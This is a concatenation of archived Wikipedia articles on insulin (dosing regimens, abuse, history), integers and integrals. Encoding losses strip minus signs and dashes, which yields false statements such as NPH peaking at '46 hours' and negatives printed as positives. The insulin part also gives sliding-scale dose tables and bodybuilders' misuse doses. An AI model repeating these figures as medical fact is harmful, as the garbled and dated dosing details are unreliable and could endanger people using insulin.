          A Connecticut-based biopharmaceutical company called Biodel, Inc. is developing what it calls VIAtab, an oral formulation of insulin designed to be administered sublingually. This therapy is a tablet that dissolves in minutes when placed under the tongue. In a Phase I study, VIAtab delivered insulin to the blood stream quickly and resembled the first-phase insulin release spike found in healthy individuals. The company claims that an oral insulin therapy would be more convenient than currently available injectable or inhalable therapies, and they expect that convenience to result in increased insulin usage among the currently underserved early-stage patients with Type 2 diabetes, thus helping to create better long-term outcomes for that patient population.


          An Israeli pharmaceutical company, Oramed Pharmaceuticals, is currently conducting Phase 2A studies on an oral insulin pill.


          Australian biopharmaceutical company, Apollo Life Sciences, plans to enter the Phase I trial of its oral insulin tablet in mid-2008.


          


          Pancreatic transplantation


          Another improvement would be a transplantation of the pancreas or beta cell to avoid periodic insulin administration. This would result in a self-regulating insulin source. Transplantation of an entire pancreas (as an individual organ) is difficult and relatively uncommon. It is often performed in conjunction with liver or kidney transplant, although it can be done by itself. It is also possible to do a transplantation of only the pancreatic beta cells. However, islet transplants had been highly experimental (for which read 'prone to failure') for many years, but some researchers in Alberta, Canada, have developed techniques with a high initial success rate (about 90% in one group). Nearly half of those who got an islet cell transplant were insulin-free one year after the operation; by the end of the second year that number drops to about one in seven. Beta cell transplant may become practical in the near future. Additionally, some researchers have explored the possibility of transplanting genetically engineered non-beta cells to secrete insulin. Clinically testable results are far from realization at this time. Several other non-transplant methods of automatic insulin delivery are being developed in research labs, but none is close to clinical approval.


          


          Artificial pancreas


          


          Dosage and timing


          The central problem for those requiring external insulin is picking the right dose of insulin and the right timing.


          Physiological regulation of blood glucose, as in the non-diabetic, would be best. Increased blood glucose levels after a meal is a stimulus for prompt release of insulin from the pancreas. The increased insulin level causes glucose absorption and storage in cells, reducing glycogen to glucose conversion, reducing blood glucose levels, and so reducing insulin release. The result is that the blood glucose level rises somewhat after eating, and within an hour or so, returns to the normal 'fasting' level. Even the best diabetic treatment with synthetic human insulin or even insulin analogs, however administered, falls far short of normal glucose control in the non-diabetic.


          Complicating matters is that the composition of the food eaten (see glycemic index) affects intestinal absorption rates. Glucose from some foods is absorbed more (or less) rapidly than the same amount of glucose in other foods. Fats and proteins cause delays in absorption of glucose from carbohydrate eaten at the same time. As well, exercise reduces the need for insulin even when all other factors remain the same, since working muscle has some ability to take up glucose without the help of insulin.


          It is, in principle, impossible to know for certain how much insulin (and which type) is needed to 'cover' a particular meal to achieve a reasonable blood glucose level within an hour or two after eating. Non-diabetics' beta cells routinely and automatically manage this by continual glucose level monitoring and insulin release. All such decisions by a diabetic must be based on experience and training (i.e., at the direction of a physician, PA, or in some places a specialist diabetic educator) and, further, specifically based on the individual experience of the patient. But it is not straightforward and should never be done by habit or routine. With some care however, it can be done reasonably well in clinical practice.


          For example, some patients with diabetes require more insulin after drinking skim milk than they do after taking an equivalent amount of fat, protein, carbohydrate, and fluid in some other form. Their particular reaction to skimmed milk is different from other people with diabetes, but the same amount of whole milk is likely to cause a still different reaction even in that person. Whole milk contains considerable fat while skimmed milk has much less. It is a continual balancing act for all people with diabetes, especially for those taking insulin.


          Patients with insulin-dependent diabetes require some base level of insulin (basal insulin), as well as short-acting insulin to cover meals (bolus insulin). Maintaining the basal rate and the bolus rate is a continuous balancing act that people with insulin-dependent diabetes must manage each day. This is normally achieved through regular blood tests, although continuous blood sugar testing equipment (Continuous Glucose Monitors or CGMs) are now becoming available.


          


          Strategies


          A long-acting insulin is used to approximate the basal secretion of insulin by the pancreas. NPH/isophane, lente, ultralente, glargine, and detemir may be used for this purpose. The advantage of NPH is its low cost and the fact that you can mix it with short-acting forms of insulin, thereby minimizing the number of injections that must be administered. The disadvantage is that the activity of NPH is less steady and will peak 46 hours after administration, and this peak has the potential of causing hypoglycemia. NPH and regular insulin in combination are available as premixed solutions, which can sometimes simplify administration. The theoretical advantage of glargine and detemir is that they only need to be administered once a day, and they also have steady activity, generally without peaks, although in practice, many patients find that neither lasts a full 24 hours. Glargine and detemir are also signifincantly more expensive, and they cannot be mixed with other forms of insulin.


          A short-acting insulin is used to simulate the endogenous insulin surge produced in anticipation of eating. Regular insulin, lispro, aspart and glulisine can be used for this purpose. Regular insulin should be given with about a 30 minute lead-time prior to the meal to be maximally effective and to minimize the possibility of hypoglycemia. Lispro, aspart and glulisine are approved for dosage with the first bite of the meal, and may even be effective if given after completing the meal. The short-acting insulin is also used to correct hyperglycemia.


          The usual schedule for checking fingerstick blood glucose and administering insulin is before all meals and sometimes also at bedtime. More recent guidelines also call for a check 2 hours after a meal to ensure the meal has been 'covered' effectively. When insulin glargine or insulin detemir is used, it can be administered at any time during the day, provided that it is given at the same time every day.


          


          Sliding scales


          Insulin prescriptions generally specify fixed amounts of long-acting insulin to be given routinely, and fixed amounts of short-acting insulin prior to every meal (the 'sliding scale' approach). However, the amount of short-acting insulin may be varied depending on the patient's preprandial fingerstick glucose, in order to correct pre-existing hyperglycemia. The so-called "sliding-scale" is still widely taught, although it is controversial.


          Sample regimen using insulin NPH and regular insulin


          
            
              	

              	before breakfast

              	before lunch

              	before dinner

              	at bedtime
            


            
              	NPH dose

              	12 units

              	

              	6 units

              	
            


            
              	regular insulin dose

              if fingerstick glucose is (mg/dl):

              	

              	

              	

              	
            


            
              	70-100

              	4 units

              	

              	4 units

              	
            


            
              	101-150

              	5 units

              	

              	5 units

              	
            


            
              	151-200

              	6 units

              	

              	6 units

              	
            


            
              	201-250

              	7 units

              	

              	7 units

              	
            


            
              	251-300

              	8 units

              	1 unit

              	8 units

              	1 unit
            


            
              	>300

              	9 units

              	2 units

              	9 units

              	2 units
            

          


          Sample regimen using insulin glargine and insulin lispro

          insulin glargine 20 units at bedtime

          insulin lispro to be given as follows:


          
            
              	if fingerstick glucose is (mg/dl):

              	before breakfast

              	before lunch

              	before dinner

              	at bedtime
            


            
              	70-100

              	5 units

              	5 units

              	5 units

              	
            


            
              	101-150

              	6 units

              	6 units

              	6 units

              	
            


            
              	151-200

              	7 units

              	7 units

              	7 units

              	
            


            
              	201-250

              	8 units

              	8 units

              	8 units

              	1 unit
            


            
              	251-300

              	9 units

              	9 units

              	9 units

              	2 units
            


            
              	>300

              	10 units

              	10 units

              	10 units

              	3 units
            

          


          


          Carb counting and DAFNE


          A more complicated method that allows greater freedom with meal times and snacks is "carb counting." This approach is taught to diabetic patients in Europe as Dose Adjustment for Normal Eating, or DAFNE. The patient can use his or her total daily dose (TDD) of insulin to estimate how many grams of carbohydrates will be "covered" by 1 unit of insulin, and using this result, the patient can estimate how many units of insulin should be administered depending on the carbohydrate concentration of their meal. For example, if the patient determines that 1 unit of insulin will cover 15 grams of carbohydrates, then they must administer 5 units of insulin before consuming a meal that contains 75 grams of carbohydrates. Some alternative methods also consider the protein content of the meal (since excess dietary protein can be converted to glucose via gluconeogenesis). However, all dosages involve a fair degree of guesswork, and will seldom work consistently from one dosage to the next.


          


          Abuse


          There are reports that some patients abuse insulin by injecting large doses that lead to hypoglycemic states. This is extremely dangerous. Severe acute or prolonged hypoglycemia can result in brain damage or death.


          On July 23, 2004, news reports claimed that a former spouse of a prominent international track athlete said that the ex-spouse had used insulin as a way of 'energizing' the body. There is no evidence to suggest it should act as a performance enhancer in non-diabetics. Poorly controlled diabetics are more prone than others to exhaustion and tiredness, and properly-administered insulin can relieve such symptoms.


          " Game of Shadows," by reporters Mark Fainaru-Wada and Lance Williams, includes allegations that Barry Bonds used insulin in the apparent belief that it would increase the effectiveness of the growth hormone he was (also alleged to be) taking. On top of this, non-prescribed insulin is a banned drug at the Olympics and other global competitions.


          The use and abuse of exogenous insulin is reportedly widespread amongst the bodybuilding community. Both insulin, human growth hormone (HGH) and insulin-like growth factor 1 (IGF-1) are self-administered by those looking to increase muscle mass beyond the scope offered by anabolic steroids alone. Their rationale is this: Since insulin and HGH act synergistically to promote growth, and since IGF-1 is the primary mediator of the musculoskeletal effects of growth hormone, the 'stacking' of insulin, HGH and IGF-1 should offer a synergistic growth effect on skeletal muscle. This theory has been borne out in recent years by the creation of top-level bodybuilders whose competition weight is in excess of 50lb (23kg) of muscle greater than the professionals of the past, yet with even lower levels of body fat. Indeed, the use of insulin, combined with HGH and/or IGF-1 has resulted in the development of such massively muscled physiques, that there has been a backlash amongst fans of the sport, with a professed disgust at the 'freakish' appearance of top-level professionals.


          Bodybuilders will inject up to 10 i.u. of quick-acting synthetic insulin following meals containing starchy carbohydrates and protein, but little fat, in an attempt to 'force feed' nutrients necessary for growth into skeletal muscle, whilst preventing growth of adipocytes. This may be done up to four times each day, following meals, for a total usage of 40iu of synthetic insulin per day. However there have been reports of substantially heavier usage, amongst even 'recreational' bodybuilders.


          The abuse of exogenous insulin carries with it an attendant risk of hypoglycemic coma and death. Long-term risks may include development of type 2 diabetes, and potentially a lifetime dependency on exogenous insulin.


          


          History


          


          Discovery and characterization


          In 1869 Paul Langerhans, a medical student in Berlin, was studying the structure of the pancreas under a microscope when he identified some previously un-noticed tissue clumps scattered throughout the bulk of the pancreas. The function of the "little heaps of cells," later known as the Islets of Langerhans, was unknown, but Edouard Laguesse later suggested that they might produce secretions that play a regulatory role in digestion. Paul Langerhans' son, Archibald, also helped to understand this regulatory role.


          In 1889, the Polish-German physician Oscar Minkowski in collaboration with Joseph von Mering removed the pancreas from a healthy dog to test its assumed role in digestion. Several days after the dog's pancreas was removed, Minkowski's animal keeper noticed a swarm of flies feeding on the dog's urine. On testing the urine they found that there was sugar in the dog's urine, establishing for the first time a relationship between the pancreas and diabetes. In 1901, another major step was taken by Eugene Opie, when he clearly established the link between the Islets of Langerhans and diabetes: Diabetes mellitus  is caused by destruction of the islets of Langerhans and occurs only when these bodies are in part or wholly destroyed. Before his work, the link between the pancreas and diabetes was clear, but not the specific role of the islets.


          
            [image: The structure of insulin. The left side is a space-filling model of the insulin monomer, believed to be biologically active. Carbon is green, hydrogen white, oxygen red, and nitrogen blue. On the right side is a cartoon of the insulin hexamer, believed to be the stored form. A monomer unit is highlighted with the A chain in blue and the B chain in cyan. Yellow denotes disulfide bonds, and magenta spheres are zinc ions.]
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          Over the next two decades, several attempts were made to isolate whatever it was the islets produced as a potential treatment. In 1906 George Ludwig Zuelzer was partially successful treating dogs with pancreatic extract but was unable to continue his work. Between 1911 and 1912, E.L. Scott at the University of Chicago used aqueous pancreatic extracts and noted a slight diminution of glycosuria but was unable to convince his director of his work's value; it was shut down. Israel Kleiner demonstrated similar effects at Rockefeller University in 1919, but his work was interrupted by World War I and he did not return to it. Nicolae Paulescu, a professor of physiology at the University of Medicine and Pharmacy in Bucharest was the first one to isolate insulin, which he called at that time pancrein, and published his work in 1921 that had been carried out in Bucharest. Use of his techniques was patented in Romania, though no clinical use resulted.


          In October 1920 Canadian Frederick Banting was reading one of Minkowski's papers and concluded that it is the very digestive secretions that Minkowski had originally studied that were breaking down the islet secretion(s), thereby making it impossible to extract successfully. He jotted a note to himself Ligate pancreatic ducts of the dog. Keep dogs alive till acini degenerate leaving islets. Try to isolate internal secretion of these and relieve glycosurea.


          The idea was that the pancreas's internal secretion, which supposedly regulates sugar in the bloodstream, might hold the key to the treatment of diabetes.


          He travelled to Toronto to meet with J.J.R. Macleod, who was not entirely impressed with his idea  so many before him had tried and failed. Nevertheless, he supplied Banting with a lab at the University of Toronto, an assistant (medical student Charles Best), and 10 dogs, then left on vacation during the summer of 1921. Their method was tying a ligature (string) around the pancreatic duct, and, when examined several weeks later, the pancreatic digestive cells had died and been absorbed by the immune system, leaving thousands of islets. They then isolated an extract from these islets, producing what they called isletin (what we now know as insulin), and tested this extract on the dogs. Banting and Best were then able to keep a pancreatectomized dog alive all summer because the extract lowered the level of sugar in the blood.


          
            [image: Computer-generated image of insulin hexamers highlighting the threefold symmetry, the zinc ions holding it together, and the histidine residues involved in zinc binding.]
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          Macleod saw the value of the research on his return but demanded a re-run to prove the method actually worked. Several weeks later it was clear the second run was also a success, and he helped publish their results privately in Toronto, ON that November. However, they needed six weeks to extract the isletin, which forced considerable delays. Banting suggested that they try to use fetal calf pancreas, which had not yet developed digestive glands; he was relieved to find that this method worked well. With the supply problem solved, the next major effort was to purify the extract. In December 1921, Macleod invited the biochemist James Collip, to help with this task, and, within a month, the team felt ready for a clinical test.


          On January 11, 1922, Leonard Thompson, a 14-year-old diabetic who lay dying at the Toronto General Hospital, was given the first injection of insulin. However, the extract was so impure that Thompson suffered a severe allergic reaction, and further injections were canceled. Over the next 12 days, Collip worked day and night to improve the ox-pancreas extract, and a second dose was injected on the 23rd. This was completely successful, not only in having no obvious side-effects, but in completely eliminating the glycosuria sign of diabetes.


          Children dying from diabetic keto-acidosis were kept in large wards, often with 50 or more patients in a ward, mostly comatose. Grieving family members were often in attendance, awaiting the (until then, inevitable) death. In one of medicine's more dramatic moments Banting, Best and Collip went from bed to bed, injecting an entire ward with the new purified extract. Before they had reached the last dying child, the first few were awakening from their coma, to the joyous exclamations of their families.


          However, Banting and Best never worked well with Collip, regarding him as something of an interloper, and Collip left the project soon after.


          Over the spring of 1922, Best managed to improve his techniques to the point where large quantities of insulin could be extracted on demand, but the preparation remained impure. The drug firm Eli Lilly and Company had offered assistance not long after the first publications in 1921, and they took Lilly up on the offer in April. In November, Lilly made a major breakthrough, and were able to produce large quantities of highly refined, 'pure' insulin. Insulin was offered for sale shortly thereafter.


          


          Nobel Prizes


          The Nobel Prize committee in 1923 credited the practical extraction of insulin to a team at the University of Toronto and awarded the Nobel Prize to two men; Frederick Banting and J.J.R. Macleod. They were awarded the Nobel Prize in Physiology or Medicine in 1923 for the discovery of insulin. Banting, insulted that Best was not mentioned, shared his prize with Best, and Macleod immediately shared his with Collip. The patent for insulin was sold to the University of Toronto for one dollar.


          Surprisingly, Banting and Macleod received the 1923 Nobel Prize in Physiology or Medicine for the discovery of insulin, while Paulescu's pioneering work was being completely ignored by the scientific and medical community. International recognition for Paulescu's merits as the true discoverer of insulin came only 50 years later.


          The primary structure of insulin was determined by British molecular biologist Frederick Sanger. It was the first protein to have its sequence be determined. He was awarded the 1958 Nobel Prize in Chemistry for this work.


          In 1969, after decades of work, Dorothy Crowfoot Hodgkin determined the spatial conformation of the molecule, the so-called tertiary structure, by means of X-ray diffraction studies. She had been awarded a Nobel Prize in Chemistry in 1964 for the development of crystallography.


          Rosalyn Sussman Yalow received the 1977 Nobel Prize in Medicine for the development of the radioimmunoassay for insulin.


          


          Timeline of insulin research


          
            	1922 Banting, Best, Collip use bovine insulin extract in human


            	1923 Eli Lilly produces commercial quantities of much purer bovine insulin than Banting et al had used


            	1923 Farbwerke Hoechst, one of the forerunner's of today's Sanofi Aventis, produces commercial quantities of bovine insulin in Germany


            	1923 Hagedorn founds the Nordisk Insulinlaboratorium in Denmark  forerunner of today's Novo Nordisk


            	1926 Nordisk receives a Danish charter to produce insulin as a non-profit


            	1936 Canadians D.M. Scott, A.M. Fisher formulate a zinc insulin mixture and license it to Novo


            	1936 Hagedorn discovers that adding protamine to insulin prolongs the duration of action of insulin


            	1946 Nordisk formulates Isophane porcine insulin aka Neutral Protamine Hagedorn or NPH insulin


            	1946 Nordisk crystallizes a protamine and insulin mixture


            	1950 Nordisk markets NPH insulin


            	1953 Novo formulates Lente porcine and bovine insulins by adding zinc for longer lasting insulin


            	1955 Frederick Sanger determines the amino acid sequence of insulin


            	1966 Synthesized by total synthesis by C.L. Tsou, Wang Yinglai, and coworkers


            	1969 Dorothy Crowfoot Hodgkin solves the crystal structure of insulin by x-ray crystallography


            	1973 Purified monocomponent (MC) insulin is introduced


            	1973 The U.S. officially "standardized" insulin sold for human use in the U.S. to U-100 (100 units per milliliter). Prior to that, insulin was sold in different strengths, including U-80 (80 units per milliliter) and U-40 formulations (40 units per milliliter), so the effort to "standardize" the potency aimed to reduce dosage errors and ease doctors' job of prescribing insulin for patients. Other countries also followed suit.


            	1978 Genentech produces synthetic 'human' insulin in Escheria coli bacteria using recombinant DNA techniques, licenses to Eli Lilly


            	1981 Novo Nordisk chemically and enzymatically converts porcine to human insulin


            	1982 Genentech synthetic 'human' insulin (above) approved


            	1983 Eli Lilly and Company produces synthetic 'human' insulin with recombinant DNA technology, Humulin


            	1985 Axel Ullrich sequences a human cell membrane insulin receptor.


            	1988 Novo Nordisk produces recombinant human insulin


            	1996 Lilly Humalog "lispro" insulin analogue approved.


            	2000 Sanofi Aventis Lantus "glargine" insulin analogue approved for clinical use in the US and Europe.


            	2004 Sanofi Aventis insulin glulisine insulin analogue approved for clinical use in the US.


            	2006 Novo Nordisk Levemir "detemir" insulin analogue approved for clinical use in the US.

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Insulin"
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          The integers (from the Latin integer, which means with untouched integrity, whole, entire) are the set of numbers consisting of the natural numbers including 0 (0, 1, 2, 3, ...) and their negatives (0, 1, 2, 3, ...). They are numbers that can be written without a fractional or decimal component, and fall within the set {... 2, 1, 0, 1, 2, ...}. For example, 65, 7, and 756 are integers; 1.6 and 1 are not integers. In other terms, integers are the numbers you can count with items such as apples or your fingers, and their negatives, including 0.


          More formally, the integers are the only integral domain whose positive elements are well-ordered, and in which order is preserved by addition. Like the natural numbers, the integers form a countably infinite set. The set of all integers is often denoted by a boldface Z (or blackboard bold [image: \mathbb{Z}], Unicode U+2124), which stands for Zahlen (German for numbers).


          In algebraic number theory, these commonly understood integers, embedded in the field of rational numbers, are referred to as rational integers to distinguish them from the more broadly defined algebraic integers.


          


          Algebraic properties


          Like the natural numbers, Z is closed under the operations of addition and multiplication, that is, the sum and product of any two integers is an integer. However, with the inclusion of the negative natural numbers, and, importantly, zero, Z (unlike the natural numbers) is also closed under subtraction. Z is not closed under the operation of division, since the quotient of two integers (e.g., 1 divided by 2), need not be an integer.


          The following lists some of the basic properties of addition and multiplication for any integers a, b and c.


          
            
              	

              	addition

              	multiplication
            


            
              	closure:

              	a+b is an integer

              	ab is an integer
            


            
              	associativity:

              	a+(b+c)=(a+b)+c

              	a(bc)=(ab)c
            


            
              	commutativity:

              	a+b=b+a

              	ab=ba
            


            
              	existence of an identity element:

              	a+0=a

              	a1=a
            


            
              	existence of inverse elements:

              	a+(a)=0

              	
            


            
              	distributivity:

              	a(b+c)=(ab)+(ac)
            


            
              	No zero divisors:

              	

              	if ab = 0, then either a = 0 or b = 0 (or both)
            

          


          In the language of abstract algebra, the first five properties listed above for addition say that Z under addition is an abelian group. As a group under addition, Z is a cyclic group, since every nonzero integer can be written as a finite sum 1 + 1 + ... 1 or (1) + (1) + ... + (1). In fact, Z under addition is the only infinite cyclic group, in the sense that any infinite cyclic group is isomorphic to Z.


          The first four properties listed above for multiplication say that Z under multiplication is a commutative monoid. However, note that not every integer has a multiplicative inverse; e.g. there is no integer x such that 2x = 1, because the left hand side is even, while the right hand side is odd. This means that Z under multiplication is not a group.


          All the rules from the above property table, except for the last, taken together say that Z together with addition and multiplication is a commutative ring with unity. Adding the last property says that Z is an integral domain. In fact, Z provides the motivation for defining such a structure.


          The lack of multiplicative inverses, which is equivalent to the fact that Z is not closed under division, means that Z is not a field. The smallest field containing the integers is the field of rational numbers. This process can be mimicked to form the field of fractions of any integral domain.


          Although ordinary division is not defined on Z, it does possess an important property called the division algorithm: that is, given two integers a and b with b0, there exist unique integers q and r such that a=q  b+r and 0  r < |b|, where |b| denotes the absolute value of b. The integer q is called the quotient and r is called the remainder, resulting from division of a by b. This is the basis for the Euclidean algorithm for computing greatest common divisors.


          Again, in the language of abstract algebra, the above says that Z is a Euclidean domain. This implies that Z is a principal ideal domain and any positive integer can be written as the products of primes in an essentially unique way. This is the fundamental theorem of arithmetic.


          


          Order-theoretic properties


          Z is a totally ordered set without upper or lower bound. The ordering of Z is given by


          
            	... < 2 < 1 < 0 < 1 < 2 < ...

          


          An integer is positive if it is greater than zero and negative if it is less than zero. Zero is defined as neither negative nor positive.


          The ordering of integers is compatible with the algebraic operations in the following way:


          
            	if a < b and c < d, then a + c < b + d


            	if a < b and 0 < c, then ac < bc. (From this fact, one can show that if c < 0, then ac > bc.)

          


          It follows that Z together with the above ordering is an ordered ring.


          


          Construction


          The integers can be constructed from the natural numbers by defining equivalence classes of pairs of natural numbers NN under an equivalence relation, "~", where


          
            	[image:  (a,b) \sim (c,d) \,\! ]

          


          precisely when


          
            	[image: a+d = b+c. \,\!]

          


          Taking 0 to be a natural number, the natural numbers may be considered to be integers by the embedding that maps n to [(n,0)], where [(a,b)] denotes the equivalence class having (a,b) as a member.


          Addition and multiplication of integers are defined as follows:


          
            	[image: [(a,b)]+[(c,d)]�:= [(a+c,b+d)].\,]


            	[image: [(a,b)]\cdot[(c,d)]�:= [(ac+bd,ad+bc)].\,]

          


          It is easily verified that the result is independent of the choice of representatives of the equivalence classes.


          Typically, [(a,b)] is denoted by


          
            	[image: \begin{cases} n, & \mbox{if } a \ge b \\ -n, & \mbox{if } a < b, \end{cases} ]

          


          where


          
            	[image: n = |a-b|.\,]

          


          If the natural numbers are identified with the corresponding integers (using the embedding mentioned above), this convention creates no ambiguity.


          This notation recovers the familiar representation of the integers as {...,3,2,1,0,1,2,3,...}.


          Some examples are:


          
            	[image: \begin{align} 0 &= [(0,0)] &= [(1,1)] &= \cdots & &= [(k,k)] \ 1 &= [(1,0)] &= [(2,1)] &= \cdots & &= [(k+1,k)] \ -1 &= [(0,1)] &= [(1,2)] &= \cdots & &= [(k,k+1)] \ 2 &= [(2,0)] &= [(3,1)] &= \cdots & &= [(k+2,k)] \ -2 &= [(0,2)] &= [(1,3)] &= \cdots & &= [(k,k+2)] \end{align}]

          


          


          Integers in computing


          An integer (sometimes known as an "int", from the name of a datatype in the C programming language) is often a primitive datatype in computer languages. However, integer datatypes can only represent a subset of all integers, since practical computers are of finite capacity. Also, in the common two's complement representation, the inherent definition of sign distinguishes between "negative" and "non-negative" rather than "negative, positive, and 0". (It is, however, certainly possible for a computer to determine whether an integer value is truly positive.)


          Variable-length representations of integers, such as bignums, can store any integer that fits in the computer's memory. Other integer datatypes are implemented with a fixed size, usually a number of bits which is a power of 2 (4, 8, 16, etc.) or a memorable number of decimal digits (e.g., 9 or 10).


          In contrast, theoretical models of digital computers, such as Turing machines, typically do not have infinite (but only unbounded finite) capacity.


          


          Cardinality


          The cardinality of the set of integers is equal to [image: \aleph_0]. This is readily demonstrated by the construction of a bijection, that is, a function that is injective and surjective from [image: \mathbb{Z}] to [image: \mathbb{N}]. Consider the function


          
            	[image: \begin{cases} 2x+1, & \mbox{if } x \ge 0 \\ 2|x|, & \mbox{if } x<0 \end{cases} ].

          


          If the domain is restricted to [image: \mathbb{Z}] then each and every member of [image: \mathbb{Z}] has one and only one corresponding member of [image: \mathbb{N}] and by the definition of cardinal equality the two sets have equal cardinality.


          
            Retrieved from " http://en.wikipedia.org/wiki/Integer"
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            	The word "integral" (adjective) can also mean: "being an integer".

          


          
            [image: Definite integral of a function represents the signed area of the region bounded by its graph]

            
              Definite integral of a function represents the signed area of the region bounded by its graph
            

          


          Integration is a core concept of advanced mathematics, specifically in the fields of calculus and mathematical analysis. Given a function f(x) of a real variable x and an interval [a,b] of the real line, the integral


          
            	[image: \int_a^b f(x)\,dx ]

          


          is equal to the area of a region in the xy-plane bounded by the graph of f, the x-axis, and the vertical lines x = a and x = b, with areas below the x-axis being subtracted.


          The term "integral" may also refer to the notion of antiderivative, a function F whose derivative is the given function f. In this case it is called an indefinite integral, while the integrals discussed in this article are termed definite integrals. Some authors maintain a distinction between antiderivatives and indefinite integrals.


          The principles of integration were formulated by Isaac Newton and Gottfried Leibniz in the late seventeenth century. Through the fundamental theorem of calculus, which they independently developed, integration is connected with differentiation, and the definite integral of a function can be easily computed once an antiderivative is known. Integrals and derivatives became the basic tools of calculus, with numerous applications in science and engineering.


          A rigorous mathematical definition of the integral was given by Bernhard Riemann. It is based on a limiting procedure which approximates the area of a curvilinear region by breaking the region into thin vertical slabs. Beginning in the nineteenth century, more sophisticated notions of integral began to appear, where the type of the function as well as the domain over which the integration is performed has been generalised. A line integral is defined for functions of two or three variables, and the interval of integration [a,b] is replaced by a certain curve connecting two points on the plane or in the space. In a surface integral, the curve is replaced by a piece of a surface in the three-dimensional space. Integrals of differential forms play a fundamental role in modern differential geometry. These generalizations of integral first arose from the needs of physics, and they play an important role in the formulation of many physical laws, notably those of electrodynamics. Modern concepts of integration are based on the abstract mathematical theory known as Lebesgue integration, developed by Henri Lebesgue.


          
            
              	
            

          


          


          History


          


          Pre-calculus integration


          Integration can be traced as far back as ancient Egypt, circa 1800 BC, with the Moscow Mathematical Papyrus demonstrating knowledge of a formula for the volume of a pyramidal frustum. The first documented systematic technique capable of determining integrals is the method of exhaustion of Eudoxus (circa 370 BC), which sought to find areas and volumes by breaking them up into an infinite number of shapes for which the area or volume was known. This method was further developed and employed by Archimedes and used to calculate areas for parabolas and an approximation to the area of a circle. Similar methods were independently developed in China around the 3rd Century AD by Liu Hui, who used it to find the area of the circle. This method was later used by Zu Chongzhi to find the volume of a sphere. Some ideas of integral calculus are found in the Siddhanta Shiromani, a 12th century astronomy text by Indian mathematician Bhāskara II.


          Significant advances on techniques such as the method of exhaustion did not begin to appear until the 16th century AD. At this time the work of Cavalieri with his method of indivisibles, and work by Fermat, began to lay the foundations of modern calculus. Further steps were made in the early 17th century by Barrow and Torricelli, who provided the first hints of a connection between integration and differentiation.


          


          Newton and Leibniz


          The major advance in integration came in the 17th century with the independent discovery of the fundamental theorem of calculus by Newton and Leibniz. The theorem demonstrates a connection between integration and differentiation. This connection, combined with the comparative ease of differentiation, can be exploited to calculate integrals. In particular, the fundamental theorem of calculus allows one to solve a much broader class of problems. Equal in importance is the comprehensive mathematical framework that both Newton and Leibniz developed. Given the name infinitesimal calculus, it allowed for precise analysis of functions within continuous domains. This framework eventually became modern Calculus, whose notation for integrals is drawn directly from the work of Leibniz.


          


          Formalizing integrals


          While Newton and Leibniz provided a systematic approach to integration, their work lacked a degree of rigor. Bishop Berkeley memorably attacked infinitesimals as "the ghosts of departed quantity". Calculus acquired a firmer footing with the development of limits and was given a suitable foundation by Cauchy in the first half of the 19th century. Integration was first rigorously formalized, using limits, by Riemann. Although all bounded piecewise continuous functions are Riemann integrable on a bounded interval, subsequently more general functions were considered, to which Riemann's definition does not apply, and Lebesgue formulated a different definition of integral, founded in measure theory. Other definitions of integral, extending Riemann's and Lebesgue's approaches, were proposed.


          


          Notation


          Isaac Newton used a small vertical bar above a variable to indicate integration, or placed the variable inside a box. The vertical bar was easily confused with [image: \dot{x}] or [image: x'\,\!], which Newton used to indicate differentiation, and the box notation was difficult for printers to reproduce, so these notations were not widely adopted.


          The modern notation for the indefinite integral was introduced by Gottfried Leibniz in 1675 (Burton 1988, p.359; Leibniz 1899, p.154). He adapted the integral symbol, "", from an elongated letter S, standing for summa (Latin for "sum" or "total"). The modern notation for the definite integral, with limits above and below the integral sign, was first used by Joseph Fourier in Mmoires of the French Academy around 181920, reprinted in his book of 1822 (Cajori 1929, pp.249250; Fourier 1822, 231). In Arabic mathematical notation which is written from right to left, an inverted integral symbol [image: ] is used (W3C 2006).


          


          Terminology and notation


          If a function has an integral, it is said to be integrable. The function for which the integral is calculated is called the integrand. The region over which a function is being integrated is called the domain of integration. If the integral does not have a domain of integration, it is considered indefinite (one with a domain is considered definite). In general, the integrand may be a function of more than one variable, and the domain of integration may be an area, volume, a higher dimensional region, or even an abstract space that does not have a geometric structure in any usual sense.


          The simplest case, the integral of a real-valued function f of one real variable x on the interval [a, b], is denoted by


          
            	[image: \int_a^b f(x)\,dx . ]

          


          The  sign, an elongated "S", represents integration; a and b are the lower limit and upper limit of integration, defining the domain of integration; f is the integrand, to be evaluated as x varies over the interval [a,b]; and dx can have different interpretations depending on the theory being used. For example, it can be seen as merely a notation indicating that x is the 'dummy variable' of integration, as a reflection of the weights in the Riemann sum, a measure (in Lebesgue integration and its extensions), an infinitesimal (in non-standard analysis) or as an independent mathematical quantity: a differential form. More complicated cases may vary the notation slightly.


          


          Introduction


          Integrals appear in many practical situations. Consider a swimming pool. If it is rectangular, then from its length, width, and depth we can easily determine the volume of water it can contain (to fill it), the area of its surface (to cover it), and the length of its edge (to rope it). But if it is oval with a rounded bottom, all of these quantities call for integrals. Practical approximations may suffice at first, but eventually we demand exact and rigorous answers to such problems.


          
            [image: Approximations to integral of √x from 0 to 1, with ■5 right samples (above) and ■12 left samples (below)]
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          To start off, consider the curve y=f(x) between x=0 and x=1, with f(x)=x. We ask:


          
            	What is the area under the function f, in the interval from 0 to 1?

          


          and call this (yet unknown) area the integral of f. The notation for this integral will be


          
            	[image:  \int_0^1 \sqrt x \, dx \,\!.]

          


          As a first approximation, look at the unit square given by the sides x=0 to x=1 and y=f(0)=0 and y=f(1)=1. Its area is exactly 1. As it is, the true value of the integral must be somewhat less. Decreasing the width of the approximation rectangles shall give a better result; so cross the interval in five steps, using the approximation points 0, 15, 25, and so on to 1. Fit a box for each step using the right end height of each curve piece, thus 15, 25, and so on to 1=1. Summing the areas of these rectangles, we get a better approximation for the sought integral, namely


          
            	[image: \textstyle \sqrt {\frac {1} {5}} \left ( \frac {1} {5} - 0 \right ) + \sqrt {\frac {2} {5}} \left ( \frac {2} {5} - \frac {1} {5} \right ) + \cdots + \sqrt {\frac {5} {5}} \left ( \frac {5} {5} - \frac {4} {5} \right ) \approx 0.7497\,\!]

          


          Notice that we are taking a sum of finitely many function values of f, multiplied with the differences of two subsequent approximation points. We can easily see that the approximation is still too large. Using more steps produces a closer approximation, but will never be exact: replacing the 5 subintervals by twelve as depicted, we will get an approximate value for the area of 0.6203, which is too small. The key idea is the transition from adding finitely many differences of approximation points multiplied by their respective function values to using infinitely fine, or infinitesimal steps.


